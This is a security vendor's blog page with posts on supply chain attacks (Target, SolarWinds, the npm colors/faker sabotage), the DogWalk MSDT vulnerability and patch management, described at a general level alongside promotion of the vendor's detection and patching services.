A commonly cited example of a modern cyber supply chain attack was conducted against Target in 2013. As part of the data breach, attackers compromised an upstream provider servicing Target’s HVAC system. A “Kill Chain” Analysis report of the 2013 Target Data Breach was released by the U.S. Senate’s Committee on Commerce, Science, and Transportation. The report found that the financial and personal information of as many as 110 million target customers was compromised ([1] Committee on Commerce, Science, and Transportation).

The attack began when hackers stole security credentials from a Pennsylvania-based HVAC company that services refrigeration systems in the mid-Atlantic region. These credentials were likely used as part of Target’s billing system. Target initially failed to respond to multiple automated Intrusion Detection Systems (IDS) warnings, which indicated they were installing malware and exfiltrating data. Hackers applied lateral movement during the attack and compromised Target’s connected financial systems, which stored customer data such as payment information and other Personally Identifiable Information (PII). The malware was a tailored version of BlackPOS and was installed on Point-of-Sale (POS) terminals at U.S.-based Target stores.

BlackPOS utilizes a RAM scraping technique which allows for the collection of unencrypted plaintext data. As a result, the data of Target customers passed through theses infected POS devices before transferring to the company’s more secure payment processing provider. Malware was also installed on a Target server and was designed to move stolen data through Target’s network and firewalls. Attackers collected over 11GB of stolen information using a Russia-based server

Adlumin Patch Management Blog Graph

Figure 1: Target Breach Timeline – Source: U.S. Senate Committee on Commerce Science and Transportation https://www.commerce.senate.gov/services/files/24d3c229-4f2f-405d-b8db-a3a67f183883

Target failed to properly isolate their most sensitive network assets from those used by less secure or multi-access systems. They also failed to respond to automated detection alerts based on the reported breach timeline. Attackers had access to Target’s internal network for more than a month before the operation was at full scale.

A prominent defense to this kind of supply chain attack is using a full-service MDR security platform that integrates logging, alerts, and detections across multiple products and security vendors to provide one interface for assessing, tracking, and responding to alerts. Proper use of such a system could have cut off the attackers before they spread throughout Target’s POS systems. Adlumin provides a multi-vendor compatible MDR platform to help manage and centralize alerts and logging. Importantly, Adlumin provides an interface to observe the connections and directionality of access for network endpoints that could’ve helped uncover the flow of malicious traffic.

Vendor Backdoor Access: Solar Winds

In 2020 one of the most serious, menacing, and impactful supply chain attack operations ever identified was discovered. The Solar Winds attack is the exemplar of a Vendor Backdoor Access attack.

SolarWinds is an American company that provides different products typically used for Information Technology (IT) network provisioning, management, and monitoring. Beginning with a breach in at least 2019, attackers began infiltrating the company’s infrastructure, breaching a server used to build software for distribution. Attackers moved from proof of concept to operational exploitation. By March 2020, attackers had planted a fully functional remote access tool into Solar Wind’s Orion product software updates (^[2]Timberg, C., & Nakashima, E..). Hackers used to access this upstream software vendor (Solar Winds) to insert malicious code into otherwise benign software to gain backdoor access to customer systems where it was deployed.

The undetected, trusted, but malicious updates were installed on SolarWind’s customers across the globe. Once the user had installed the update, the malware would reach out to command and control (C&C) servers mimicking legitimate SolarWinds traffic after an initial dormancy period.

When the malware was successfully installed on SolarWinds systems, it would call back to the attackers, giving them back door access to the Orion hosting device. It also gave hackers access to customer networks. It appears only a small portion of these malware deployments were taken advantage of by attackers, mainly traditionally hardened targets like federal government agencies such as the Department of Treasury, Commerce, and Justice.

Of its 33,000 SolarWind’s Orion customers, 18,000 government and private users downloaded hacked versions allowing for remote access. Leveraging follow-on exploitation and pivoting throughout networks, the attackers could conduct activities such as manipulating Department of Treasure software keys to enable access to the email used by the department’s highest-ranking officials.

The SolarWinds breach demonstrates both the clear impact and potential sophistication of supply chain attacks. Trusted vendors can have security environments that are unseen to customers and may serve as a weakened link in the ATT&CK chain of exploitation. Government and industry regulation, along with customer requirements, might help push vendor’s towards a more secure system – but until then, the best defense is a zero-trust architecture and strong logging, monitoring, and auditing environment. Using products such as an MDR security platform can help aggregate logging data from multiple sources and vendors and provide an overview capability for the entire network. Such capability can help expose actors as they laterally move from the initially backdoored system to others through exploitation giving access to sensitive information and valuable digital assets.

Open Source Library Attacks

A less concerning cyber supply chain attack is an open source library attack. These attacks come in two primary varieties:

Malicious Commits: Attempt to trick developers into using malicious code
Availability Attack: Targets software updates and packages

Both can cause harm to a business, but the latter has typically been self-driven by authors for political or personal reasons. In an open source library attack, the goal for an attacker is to either modify the code of a public opensource library or affect the library’s availability. In the first case, when an actor commits malicious code to an open-source repository and is approved and merged with the software, the attack can look like SolarWind’s Orion breach. In addition to backdoors, malicious actors can also insert intentional vulnerabilities which allow for later exploitation. GitHub, the world leading open source code repository system, found that 17% of all vulnerabilities in software were malicious ([3] Tung, L.). Almost a fifth of all bugs reported was placed into the code by attackers.

A second notable way open-source libraries are targets in the cyber supply chain is through attacks on library availability through package managers such as NPM, the JavaScript node package manager, or PyPI, The Python Package Index. In these attacks the actor, potentially a project owner, delists or modifies a popular library used as a dependency for thousands of downstream software projects and products.

One Availability Attack involved the open source JavaScript libraries, colors, and faker, which were hosted on NPM and were downloaded millions of times daily with thousands of projects using them, such as Amazon’s popular AWS Cloud Development Kit ([4]Sharma, A.). In this case, the “attacker” was the library’s owner and founder. They intentionally caused infinite loops or removed the code used in downstream software, affecting customers and end-users by causing availability and runtime issues. The author did so in relation to corporations and commercial consumers of open-source projects who rely on the software for their business.

Old Tactics, Made Digital

Supply chain attacks are an ancient and reliable tactic of striking the target upstream, where targets are typically weaker. Today, this has evolved into a reliable method for compromising IT business systems. Businesses must consider supply chain attacks’ risks on their networks, products, and operations. Implementing best-case solutions such as MDR security, as well as Vulnerability and Patch Management Systems can help mitigate these risks by providing a smaller attack surface and better visibility into attacks to help prevent data breaches and business loss.

Committee on Commerce, Science, and Transportation. (2014, March 26). A “Kill Chain” Analysis of the 2013 Target Data Breach. Target Kill Chain Analysis. Retrieved July 19, 2022, from https://www.commerce.senate.gov/services/files/24d3c229-4f2f-405d-b8db-a3a67f183883
Timberg, C., & Nakashima, E. (2020, December 16). Russian hack was ‘classic espionage’ with stealthy, targeted tactics. The Washington Post. Retrieved July 21, 2022, from https://www.washingtonpost.com/technology/2020/12/14/russia-hack-us-government/
Tung, L. (2020, December 23). Open source: Almost one in five bugs are planted for malicious purposes. ZDNet. Retrieved July 19, 2022, from https://www.zdnet.com/article/open-source-software-how-many-bugs-are-hidden-there-on-purpose/
Sharma, A. (2020, December 3). Dev corrupts npm libs’ colors’ and ‘faker’ breaking thousands of apps. Dev corrupts NPM libs’ colors’ and ‘faker’ breaking thousands of apps. Retrieved July 19, 2022, from https://www.bleepingcomputer.com/news/security/dev-corrupts-npm-libs-colors-and-faker-breaking-thousands-of-apps/

Zero-Day Vulnerability Discovered: Microsoft August Patch Tuesday

August 11, 2022/in Blog Post Martin Castner/by Adlumin Staff

This month’s Patch Tuesday from Microsoft had a surprise patch for a vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT); you may remember this exploit from the recent Follina exploit (CVE-2022-30190). This vulnerability, however, takes a different exploit path than Follina.

What You Need to Know

CVE-2022-34713, nicknamed “DogWalk,” is an arbitrary file write vulnerability in MSDT, exploited via .diagcab files, which can lead to code execution. The vulnerability allows an attacker to send a file to a victim that, if double-clicked and opened, could drop an exploit in the user’s Startup folder (or any file anywhere else on the system that the user has permissions to write to). The exploit could be compounded by the fact that most web browsers and email clients do not warn the user of the risk of running a .diagcab file. The .diagcab is not identified with the web zone identifier property, which would otherwise help prevent accidental execution by a user.

The original Dogwalk vulnerability was found and reported to Microsoft by security researcher Imre Rad in December 2019. According to Rad, Microsoft initially decided Dogwalk was not a vulnerability and, at that point, allowed him to publish a blog post on the subject. Due to increased scrutiny of MSDT, Microsoft re-assessed the case this year and has now classified Dogwalk as a vulnerability.

Microsoft began blocking .diagcab file downloads in Microsoft Edge in July of this year. Google is also doing the same. It is now worthwhile to stop .diagcab files received via email altogether.

The Importance of Continuous Vulnerability Monitoring

Microsoft’s August Patch Tuesday includes a patch for the now publicly disclosed, two-year-old Dogwalk vulnerability (CVE-2022-34713). Adlumin’s Continuous Vulnerability Management (CVM) team took the proactive critical steps to examine this patch for now identified zero-day security threat and to alert customers of their potential vulnerability risk. Adlumin determined potential threats to Microsoft Office users, so they deployed the fix.

Adlumin’s CVM team created jobs to test customers’ Microsoft August Patch Tuesday patch and remediation (registry modification). Once Adlumin completed the test, the CVM team continued the deployment to the production environment. Once all was complete and remedied, Adlumin sent a report to the customer to notify them they were now clean of the vulnerability for their records. Adlumin recommends using its Continuous Vulnerability Management service to collect the needed data from endpoints to determine if they are running vulnerable .diagcab files in their versions of Microsoft Windows and Office. Adlumin’s managed detection and response security and services platform will proactively search for suspicious activity and possible vulnerability exploitation 24x7x365 days of the year.

Patch Management Mania: What, Why, and How

August 9, 2022/in Blog Post Brittany Demendi/by Adlumin Staff

Patch Management Mania: What, Why, and How is a part of our “Cybersecurity Basics” content series. For more information about how your organization can protect itself from cybercriminals, browse more from this knowledge-rich series here.

Cybercrime and recent geopolitical instability assure that ransomware gangs and state-sponsored actors will continue their escapades against businesses and critical infrastructure. The preferred tactics of cybercriminals involve attacks against IT infrastructure vendors. These cyberattacks are accomplished by “poisoning the digital well” at the source.

As the cyberattack on the Colonial Pipeline demonstrated, we depend on national infrastructure for our basic utilities. The same holds true when it comes to IT utilities like internet connections, network management, and email communication tools. Just as our assumption that water will pour from the tap or the lights will come on at the flip of a switch, we assume our IT backbone will be there, quietly doing its job in the background.

It’s no wonder cybercriminals target these systems. Taking down or infecting a major IT player means downstream access to their customer base. Additionally, attacking IT vendors reduces the cybercriminals’ exposure profile, thereby reducing the risk of detection. Hence, it’s far easier to “poison the digital well” at the source of these services than to affect each house in the village. As Solar Winds, Kesaya, Microsoft HAFNIUM, and Log4J vulnerabilities demonstrated, criminals have these tactics down to a science. For hackers, these kinds of attacks present a viable business model with a sustainable revenue model. Unfortunately, it’s not going anywhere anytime soon.

So what can IT teams do in the face of a malicious threat? The best cybersecurity strategy is to keep systems patched, up-to-date and to adopt a Managed Detection and Response (MDR) platform to aircover above systems exposed to unpatched vulnerabilities.

However, the problem is that the practical application of this strategy deals with hundreds if not thousands of different patches. There are countless updates for these systems, and few companies have the bandwidth to keep up with the constant flow of demands. This blog post will discuss patching, prioritizing, and automating the process to manage workloads and protect your organization from systemic attacks.

What is Patch Management?

Patch Management is the process and service that keeps network devices and software on computers up to date by identifying and deploying patches to all an organization’s endpoints, including servers and mobile devices. Patches can include new functions or features to an application and are short-term solutions until a new software release exists. Any software is bound to technical vulnerabilities, and once exposed and shared, it can be targeted by cybercriminals.

“60% of breach victims said they were breached due to an unpatched known vulnerability where the patch was not applied,”
Ponemon Institute Vulnerability Survey

The downside to patches is that they alert criminals to the vulnerability. This is because when a new patch is released, cybercriminals quickly identify what the underlying vulnerability was within the application. The goal for IT teams are to implement the patch to limit exposure, and before the cybercriminal can exploit it. Patching applies to IT vendors as well as their customers—everyone needs to do it. According to Comparitech, the US government’s National Vulnerability Database (NVD) published over 8,000 vulnerabilities in Q1 of 2022. Bulletproof security is impossible to create, but that doesn’t mean organizations are defenseless to all the current and new vulnerabilities.

Who performs the Patch Management Process?

The patch management process can be carried out by an organization’s IT team or an MDR platform. MDR platforms are cloud services that help you efficiently remediate vulnerabilities and patch systems. A timely patching strategy is essential because software updates are based on active vulnerabilities, which can be found at any time. The risk of outdated software grows with time as attackers can more easily identify weaknesses within systems.

An effective patch management process includes the following features:

Cloud-based tools that are easy to use and deploy
- There is no need to install software on-premises or configure VPNs or open ports. Transitioning to the cloud will allow you to immediately scan for missing patches and patch any workstation, server, or work-from-home (WFH) device. This significantly optimizes bandwidth usage by caching patches locally on your network.
Remote patching endpoints and everyday company or employee devices
- Companies that give their employees the option to WFH can install and scan any device within their network for missing patches from the cloud.
Automated patching of endpoints
- There are patch management services where you can automate patching based on prioritized vulnerability data to address the most critical threats first. Teams can routinely automate patches to free up their time for higher-priority security tasks.
Automated vulnerability correlations and patching
- Automatically correlating and mapping vulnerabilities with patches and necessary configuration changes decreases the remediation response time. This creates ready-to-deploy “patch jobs” that can be scheduled automatically. From this process, a report is usually made that lets IT, and security teams share a priority list of applications and systems to patch regularly.

Why Do You Need Patch Management?

As cyberattacks continue to rise, organizations must take proactive steps to maintain a healthy cybersecurity posture. One of the leading causes of data breaches is unpatched operating systems and software applications, making it critical to implement a timely patch management process. Strengthening your IT security with patches can help improve overall functionality and performance by minimizing downtime caused by unsupported or outdated software. The patch management process can help customers deploy new benefits and features, helping your organization run more productively.

How Do You Benefit from Patch Management?

Here are some of the many benefits from adding patch management to your cybersecurity plan:

Satisfied Endpoint Customers – If your organization distributes a service or product where customers use your technology, you know how imperative it is for it to work. Patch management keeps your systems running by continuously fixing software bugs and improving your software’s stability.
Secured IT Landscape – When consistently patching vulnerabilities, you significantly reduce the risks within your environment- protecting your organization from data breaches.
No Fines from Compliance Issues – If your organization is not practicing patch management and not meeting compliance regulations, you can be hit with a hefty fine. Successfully managing vulnerabilities ensures you are up to date with compliance regulations.
Cybersecurity Innovation – Sometimes, organizations use patch management deployment to release new features. This provides a way to update your technology at scale while improving functionality.

Learn More:

The Importance of Proactive Cybersecurity

Download our white paper to understand the difference between proactive and reactive cybersecurity measures, the organizational benefits of being proactive, and how to advance your bottom line and information security.

Download Now

Threat Intelligence: The Human Element of Cybersecurity

Threat Intelligence is actionable, timely, and provides context to threats. Explore the benefits of investing in threat intelligence and gain insight into what it’s all about.